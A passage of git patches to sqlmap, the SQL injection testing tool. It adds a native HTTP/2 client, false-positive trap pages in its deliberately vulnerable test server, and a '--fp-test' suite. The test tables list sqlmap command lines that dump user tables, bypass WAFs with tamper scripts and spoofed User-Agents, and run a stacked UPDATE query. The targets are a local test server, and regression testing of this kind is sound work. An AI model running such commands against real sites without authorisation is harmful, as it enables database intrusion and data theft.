b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] + for k, v in (headers or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + hblock = Encoder().encode(req) + sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock)) + if body: + sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body))) + + dec = Decoder() + header_block, resp_headers, resp_body, done = b"", None, bytearray(), False + while not done: + ftype, flags, sid, payload = _read_frame(sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + done = True + elif ftype == RST_STREAM and sid == 1: + raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) + elif ftype in (HEADERS, CONTINUATION) and sid == 1: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + header_block += p + if flags & FLAG_END_HEADERS: + resp_headers = dec.decode(header_block) + if flags & FLAG_END_STREAM: + done = True + elif ftype == DATA and sid == 1: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + resp_body += p + if payload: # replenish stream + connection windows + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload)))) + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM: + done = True + status = None + for n, v in (resp_headers or []): + if _tob(n) == b":status": + status = int(v) + break + return status, resp_headers, bytes(resp_body) + finally: + try: sock.close() + except Exception: pass + + +class H2Response(object): + """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).""" + + def __init__(self, url, status, headers, body): + self.url = url + self.code = self.status = status + self.msg = _HTTP_RESPONSES.get(status, "") + self.http_version = "HTTP/2.0" + self._body = body + self._offset = 0 + self._info = _Message() + for name, value in (headers or []): + name = name.decode("latin-1") if isinstance(name, bytes) else name + value = value.decode("latin-1") if isinstance(value, bytes) else value + if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.) + self._info[name] = value + # expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object + # uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a + # bare Message falls back to integer indexing) + self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()] + + def info(self): + return self._info + + def geturl(self): + return self.url + + def read(self, amt=None): + if amt is None: + data = self._body[self._offset:] + self._offset = len(self._body) + else: + data = self._body[self._offset:self._offset + amt] + self._offset += len(data) + return data + + def close(self): + pass + + +def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None): + """Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the + previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or + ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped.""" + forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length") + req_headers = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in forbidden: + req_headers[key] = headers[key] + + for _ in range(max_redirects + 1): + parts = urlsplit(url) + if parts.scheme != "https": + raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path, + authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy) + if follow_redirects and status in REDIRECT_CODES: + location = None + for name, value in (resp_headers or []): + if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location": + location = value.decode("latin-1") if isinstance(value, bytes) else value + break + if location: + url = urljoin(url, location) + if status in (301, 302, 303): # per RFC 7231, these degrade to GET + method, body = "GET", None + continue + return H2Response(url, status, resp_headers, resp_body) + + raise IOError("too many HTTP/2 redirects") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 51a9a23ea..ce61a7344 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -94,16 +94,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-ntlm') - try: - __import__("httpx") - debugMsg = "'httpx[http2]' third-party library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'httpx[http2]' third-party library " - warnMsg += "if you plan to use HTTP version 2" - logger.warning(warnMsg) - missing_libraries.add('httpx[http2]') - try: __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" From 3e7d064cc9252be6809d0ea53e593594a732931b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 14:59:34 +0200 Subject: [PATCH 04/34] Adding some more tests --- data/txt/sha256sums.txt | 12 ++++---- extra/vulnserver/vulnserver.py | 52 ++++++++++++++++++++++++++++++++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 43 ++++++++++++++++++++++------ lib/parse/cmdline.py | 5 +++- sqlmap.py | 5 +++- 7 files changed, 102 insertions(+), 18 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 68ae7e13f..956c8865d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py +9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py +4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py 98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py +61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py +96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py +d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -509,7 +509,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py +d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index f20c318eb..80290048c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -17,6 +17,7 @@ import sqlite3 import string import sys import threading +import time import traceback PY3 = sys.version_info >= (3, 0) @@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/fp": + # False-positive battery traps (exercised on demand by '--fp-test'). Every trap is + # deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not + # injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin). + trap = self.params.get("trap", "reflect") + idv = self.params.get("id", "1") + + def _rnd(n=8): + return "".join(random.choice("0123456789abcdef") for _ in range(n)) + + if trap == "intcast": + # parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean + # payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it. + try: + hit = int(idv) in (1, 2, 3) + except ValueError: + hit = False + output = "SQL results:%s
" % ("%slutherblisset" % idv if hit else "") + elif trap == "structrand": + # heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not + # reflected into the structure -> stresses the structure-aware comparison oracle. + rows = "".join("%s%s" % (_rnd(), _rnd()) for _ in range(3)) + output = ("Report
%s
" + "%s
" + "
%s
" % (_rnd(), _rnd(), rows, _rnd())) + elif trap == "acceptall": + # 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel. + output = "OK welcome to the portal" + elif trap == "reflect": + # echoes the parameter verbatim (reflection) with no SQL sink. + output = "you searched for: %s" % idv + elif trap == "errors": + # DB-error-looking text for any non-baseline input -> baits error-based detection. + output = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" if idv != "1" else "SQL results:
1luther
" + elif trap == "lengthrand": + # response length varies at random (not with the payload) -> baits length-based heuristics. + output = "ok %s" % _rnd(random.choice([4, 40, 400])) + elif trap == "slowrand": + # random latency, uncorrelated with the payload -> baits time-based detection. + time.sleep(random.choice([0, 0, 0, 1])) + output = "ok %s" % _rnd() + else: + output = "?" + + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7b05a0652..21c6cfa37 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -282,6 +282,7 @@ optDict = { "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", + "fpTest": "boolean", "apiTest": "boolean", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index f1fc8935e..0c7de36ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.3" +VERSION = "1.10.7.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index e1414e43e..787d049ce 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -41,12 +41,12 @@ from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_VERSION -def vulnTest(): +def vulnTest(tests=None, label="vuln"): """ - Runs the testing against 'vulnserver' + Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS) """ - TESTS = ( + TESTS = tests if tests is not None else ( ("-h", ("to see full list of options run with '-hh'",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), @@ -63,7 +63,7 @@ def vulnTest(): ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat - ("-u -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), @@ -73,7 +73,7 @@ def vulnTest(): ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), - ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), @@ -83,7 +83,7 @@ def vulnTest(): ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), - ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor @@ -97,7 +97,7 @@ def vulnTest(): ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), - ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) @@ -263,9 +263,9 @@ def vulnTest(): clearConsoleLine() if retVal: - logger.info("vuln test final result: PASSED") + logger.info("%s test final result: PASSED" % label) else: - logger.error("vuln test final result: FAILED") + logger.error("%s test final result: FAILED" % label) for filename in cleanups: try: @@ -280,6 +280,31 @@ def vulnTest(): return retVal +def fpTest(): + """ + On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that + each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware + comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics), + paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin. + Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'. + """ + + FP_TESTS = ( + # false-positive traps -> sqlmap MUST NOT flag these as injectable + ("-u \"fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives + ("-u \"fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison + ("-u \"fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true) + ("-u \"fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling + ("-u \"fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity + ("-u \"fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics + ("-u \"fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model + # true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+) + ("-u -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")), + ("-u \"&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)), + ) + + return vulnTest(tests=FP_TESTS, label="fp") + def apiTest(): """ Runs a basic live test of the REST API: launches the server in a separate process diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 086ffd903..b12f05281 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -912,6 +912,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--fp-test", dest="fpTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", help=SUPPRESS) @@ -1169,7 +1172,7 @@ def cmdLineParser(argv=None): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index 3667ca270..59c7e8510 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -192,6 +192,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.fpTest: + from lib.core.testing import fpTest + os._exitcode = 1 - (fpTest() or 0) elif conf.apiTest: from lib.core.testing import apiTest os._exitcode = 1 - (apiTest() or 0) @@ -607,7 +610,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: From 62a7bf3b03c60d8b31ccf28e24a4d6e010fa9f7d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 15:19:30 +0200 Subject: [PATCH 05/34] Adding tests for http2 functionality --- data/txt/sha256sums.txt | 5 +- lib/core/settings.py | 2 +- lib/request/http2.py | 43 +++++- tests/test_http2.py | 283 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 329 insertions(+), 4 deletions(-) create mode 100644 tests/test_http2.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 956c8865d..751527657 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py +39884227376b9370b8ef246d791b98346a7acba146f9ca12a5bf540a252b31ba lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py -21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py +3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -622,6 +622,7 @@ f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_gra cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py 0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py +b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c7de36ad..b844d9470 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.4" +VERSION = "1.10.7.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 2af00c69e..81351db4c 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -154,6 +154,11 @@ FLAG_PRIORITY = 0x20 CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" def encode_frame(ftype, flags, stream_id, payload=b""): + """Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id. + + >>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9]) + (3, 1, 4, 1) + """ if len(payload) > 0xffffff: raise ValueError("frame payload exceeds 24-bit length") header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit 